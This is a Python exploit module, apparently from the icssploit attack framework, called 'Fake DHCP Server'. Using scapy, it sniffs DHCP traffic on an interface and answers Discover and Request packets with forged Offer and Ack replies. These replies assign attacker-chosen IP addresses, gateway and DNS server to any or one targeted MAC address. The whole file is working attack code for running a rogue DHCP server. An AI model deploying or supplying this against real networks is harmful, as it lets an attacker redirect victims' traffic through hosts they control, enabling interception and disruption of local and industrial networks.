from icssploit import (
    exploits,
    print_success,
    print_status,
    print_error,
    mute,
    validators,
)
import time
from scapy.all import *


class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'Fake DHCP Server',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>',
        ],
        'description': 'Create a fake dhcp server.',
        'references': [],
        'devices': [],
    }

    target = exploits.Option('ff:ff:ff:ff:ff:ff', 'Target mac address(default value mean offer ip to any mac) '
                                                  'e.g. 40:6c:8f:ff:ff:ff',
                             validators=validators.mac)
    nic = exploits.Option('eth0', 'Interface Name e.g eth0, en0')
    client_ip_range = exploits.Option('192.168.1.100-200', 'Client ip range e.g. 192.168.1.100-200')
    client_net_mask = exploits.Option('255.255.255.0', 'Target network mask e.g. 255.255.255.0',
                                      validators=validators.ipv4)
    client_gateway = exploits.Option('192.168.1.1', 'Target gateway e.g. 192.168.1.1', validators=validators.ipv4)
    client_dns = exploits.Option('192.168.1.1', 'Target dns e.g. 192.168.1.1', validators=validators.ipv4)
    dhcp_server_ip = exploits.Option('192.168.1.1', 'Target address e.g. 192.168.1.1', validators=validators.ipv4)
    server_mac = 'ff:ff:ff:ff:ff:ff'
    ip_address_pool = {}

    def create_ip_address_pool(self):
        ip_address_list = []
        if re.match("(?:[0-9]{1,3}\.){3}[0-9]{1,3}(-[0-9]{1,3})?", str(self.client_ip_range)):
            try:
                start_address = validators.ipv4(self.client_ip_range.split('-')[0])
                end_address = self.client_ip_range.split('-')[-1]
                if re.match("[0-9]{1,3}", end_address) and len(end_address) < 4:
                    end_address = start_address[:start_address.rfind('.') + 1] + end_address
                try:
                    if end_address == start_address:
                        ip_address_list.append(start_address)
                    else:
                        for ip_address in range(struct.unpack('!I', socket.inet_pton(socket.AF_INET, start_address))[0],
                                                struct.unpack('!I', socket.inet_pton(socket.AF_INET, end_address))[0]):
                            ip_address_list.append(socket.inet_ntop(socket.AF_INET, struct.pack('!I', ip_address)))

                except AttributeError:
                    for ip_address in range(struct.unpack('!I', socket.inet_aton(start_address))[0],
                                            struct.unpack('!I', socket.inet_aton(end_address))[0]):
                        ip_address_list.append(socket.inet_ntop(socket.AF_INET, struct.pack('!I', ip_address)))

                for ip_address in ip_address_list:
                    self.ip_address_pool[ip_address] = ""

            except validators.OptionValidationError:
                raise validators.OptionValidationError("Option have to be valid IP address range.")

            except Exception:
                raise validators.OptionValidationError("Option have to be valid IP address range.")
        else:
            raise validators.OptionValidationError("Option have to be valid IP address range.")

    def chose_ip_to_offer(self, mac_address):
        unused_ip_address = []
        for ip_address in self.ip_address_pool.keys():
            if self.ip_address_pool[ip_address] == "":
                unused_ip_address.append(ip_address)
            elif self.ip_address_pool[ip_address] == mac_address:
                return ip_address
        if len(unused_ip_address) > 0:
            return unused_ip_address[0]
        else:
            print_error("All ip address is offer")
            return None

    def detect_dhcp(self, pkt):
        # If DHCP Discover then DHCP Offer
        if pkt[DHCP] and pkt[DHCP].options[0][1] == 1:
            print_status("DHCP Discover packet detected with mac address:%s" % pkt.src)
            client_ip = self.chose_ip_to_offer(pkt.src)
            if client_ip:
                packet = Ether(src=self.server_mac, dst="ff:ff:ff:ff:ff:ff") / \
                         IP(src=self.dhcp_server_ip, dst="255.255.255.255") / \
                         UDP(sport=67, dport=68) / \
                         BOOTP(
                             op=2,
                             yiaddr=client_ip,
                             siaddr=self.client_gateway,
                             # giaddr=server_ip,
                             chaddr=pkt.src,
                             xid=pkt[BOOTP].xid,
                             sname='DHCPServer'
                         ) / \
                         DHCP(options=[('message-type', 'offer')]) / \
                         DHCP(options=[('subnet_mask', self.client_net_mask)]) / \
                         DHCP(options=[('name_server', self.client_dns)]) / \
                         DHCP(options=[('server_id', self.dhcp_server_ip), ('end')])
                sendp(packet, iface=self.nic)
                print_success("DHCP Offer packet sent.")
                print_success("DHCP Offer to target:%s\nIP:%s\nNetMask:%s\nGateWay:%s\nDNS:%s.\n" %
                              (pkt.src, client_ip, self.client_net_mask, self.client_gateway, self.client_dns))

        # If DHCP Request then DHCP Ack
        if pkt[DHCP] and pkt[DHCP].options[0][1] == 3:
            print_status("DHCP Request packet detected with mac address:%s" % pkt.src)
            client_ip = self.chose_ip_to_offer(pkt.src)
            if client_ip:
                packet = Ether(src=self.server_mac, dst=pkt.src) / \
                         IP(src=self.dhcp_server_ip, dst=client_ip) / \
                         UDP(sport=67, dport=68) / \
                         BOOTP(op=2,
                               yiaddr=client_ip,
                               siaddr=self.dhcp_server_ip,
                               giaddr=self.client_gateway,
                               chaddr=pkt.src,
                               xid=pkt[BOOTP].xid
                               ) / \
                         DHCP(options=[('message-type', 'ack')]) / \
                         DHCP(options=[('subnet_mask', self.client_net_mask)]) / \
                         DHCP(options=[('name_server', self.client_dns)]) / \
                         DHCP(options=[('server_id', self.dhcp_server_ip), ('end')])
                sendp(packet, iface=self.nic)
                print_success("DHCP Ack to target:%s\nIP:%s\nNetMask:%s\nGateWay:%s\nDNS:%s." %
                              (pkt.src, client_ip, self.client_net_mask, self.client_gateway, self.client_dns))
                print_success("DHCP Ack packet sent\n\nCtrl+C to exit\n")

    def run(self):
        self.create_ip_address_pool()
        self.server_mac = get_if_hwaddr(self.nic)
        if self.target == 'ff:ff:ff:ff:ff:ff':
            sniff(filter="udp and (port 67 or 68)", prn=self.detect_dhcp, store=0, iface=self.nic)
        else:
            sniff(filter="udp and (port 67 or 68) and (ether src host %s)" % self.target, prn=self.detect_dhcp,
                  store=0, iface=self.nic)

    @mute
    # TODO: Add check later
    def check(self):
        pass

